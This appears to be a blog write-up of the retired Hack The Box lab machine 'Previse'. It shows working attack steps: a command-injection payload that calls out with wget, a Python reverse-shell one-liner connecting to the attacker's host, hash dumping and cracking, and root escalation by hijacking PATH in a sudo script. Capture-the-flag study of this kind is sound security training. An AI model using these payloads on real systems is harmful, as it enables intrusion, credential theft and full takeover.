HTB: Previse

Posted on 08 Jan 2022 in security • 4 min read

Previse

This is a writeup about a retired HacktheBox machine: Previse publish on August 7, 2021 by m4lwhere. This box is rated as an easy machine. It implies a hidden page, a unsanitize variable, a funny salt and a relative PATH.

Foothold

Recon

Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.

# Nmap 7.91 scan initiated Sat Aug 28 08:31:50 2021 as: nmap -p- -sSV -oN notes.md -A 10.129.193.153
Nmap scan report for 10.129.193.153
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
<SNIP>
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
<SNIP>

Web

The website is a simple authentication form. We launch ffuf against it and found a few pages.

└─$ ./ffuf -w /usr/share/dirb/wordlists/common.txt -u  http://10.129.193.153/FUZZ -mc 200 -e .php
<SNIP>
config.php              [Status: 200, Size: 0, Words: 1, Lines: 1]
favicon.ico             [Status: 200, Size: 15406, Words: 15, Lines: 10]
footer.php              [Status: 200, Size: 217, Words: 10, Lines: 6]
header.php              [Status: 200, Size: 980, Words: 183, Lines: 21]
login.php               [Status: 200, Size: 2224, Words: 486, Lines: 54]
nav.php                 [Status: 200, Size: 1248, Words: 462, Lines: 32]
:: Progress: [9228/9228] :: Job [1/1] :: 2567 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

Looking at nav.php we found the accounts.php page with an automatic redirection to the login page we look at the HTML and send the post request required to create an account using Burp. We can then login as our user on the application

POST /accounts.php HTTP/1.1
Host: 10.129.193.153
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Connection: close
Cookie: PHPSESSID=uu672fe9ecq5640am2fgsekhbk
Upgrade-Insecure-Requests: 1

username=toto1&password=12345&confirm=12345&submit=

We can download the siteBackup file on the server. The logs.php file seems to be called when we want to get the log data via the management menu. We can see that the POST parameter delim is not sanitize and use directly in an exec statement. We can use that to run code on the box. We run a simple python HTTP server (python3 -m http.server) and using Burp repeater put the following payload in the delim parameter:

POST /logs.php HTTP/1.1
Host: 10.129.193.153
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://10.129.193.153
Connection: close
Referer: http://10.129.193.153/file_logs.php
Cookie: PHPSESSID=uu672fe9ecq5640am2fgsekhbk
Upgrade-Insecure-Requests: 1

delim=; wget 10.10.14.52:8000/$(id)

We got the RCE on our web server: 10.129.193.153 - - [28/Aug/2021 09:06:34] "GET /uid=33(www-data) HTTP/1.1" 404 -

We know that python is on the box so we use a basic python reverse shell. The payload is the following:

delim=; python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.52",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

We run netcat on our kali box to catch our reverse shell and are logged in as the www-data user.

nc -l -p 4242
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Using the connection credentials in the config.php file we can login on the MySQL database as root and grab the passwords in the accounts table.

$ mysql -u root -p
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)

Welcome to the MySQL monitor.  Commands end with ; or \g.
mysql> use previse;
use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SHOW TABLES;
SHOW TABLES;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> select * from accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | totoo    | $1$🧂llol$wzYjWk/p5usz8BzxvPrXs1 | 2021-08-25 12:49:52 |
|  3 | toto1    | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// | 2021-08-25 12:50:25 |
+----+----------+------------------------------------+---------------------+
3 rows in set (0.00 sec)

We run john on the hashes (keep the unicode salt character in the salt value) with the rockyou dictionary and got the m4lwhere user password.

$ john -w=rockyou.txt hash --format=md5crypt-long
--------------------------------------------------------------------------
Loaded 3 password hashes with no different salts (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (?)
12345            (?)
2g 0:00:00:51 6.65% (ETA: 15:36:49) 0.03919g/s 21235p/s 21235c/s 21238C/s 438700..4358427
2g 0:00:02:09 18.48% (ETA: 15:35:40) 0.01550g/s 22220p/s 22220c/s 22221C/s vixieskathys109..vixen911
ilovecody112235! (?)
3g 0:00:06:35 DONE (2021-08-28 15:30) 0.007588g/s 18752p/s 18752c/s 18752C/s ilovecoke95..ilovecody*
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We use this password to connect on the SSH service and get the user flag.

└─$ ssh m4lwhere@10.129.193.153 #ilovecody112235!
m4lwhere@previse:~$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
m4lwhere@previse:~$ cat user.txt
15af390166c631f24622d77948ba2444

Root

We look at our sudo privileges and found that we can run a bash script as root.

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

Looking at the script we quickly notice the use of a relative path to call the gzip binary we should be able to easily run anything.

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Obviously we could just retrive the flag by putting cp /root/root.txt /tmp && chmod 777 /tmp/* in our gzip file but a root shell is better.

We have a few ways to get a root shell with our command injection:

  • Add a root (id 0) user to /etc/passwd with a password of our choice (see armageddon)
  • surcharge our sudo permissions (see bountyhunter)
  • Add an ssh key to root
  • run a reverse shell

We will use the latest one here and get a reverse shell as root allowing to grab the last flag.

m4lwhere@previse:~$ export PATH=./:$PATH
m4lwhere@previse:~$ vim gzip
m4lwhere@previse:~$ cat gzip
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.52",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
m4lwhere@previse:~$ chmod +x gzip
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh

└─$ nc -l -p 4242
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
d465e7ac787731bbd7de2f69444407e3

Wrapping up

An easy box really recommended for beginners as their is only two classical vulnerabilities here.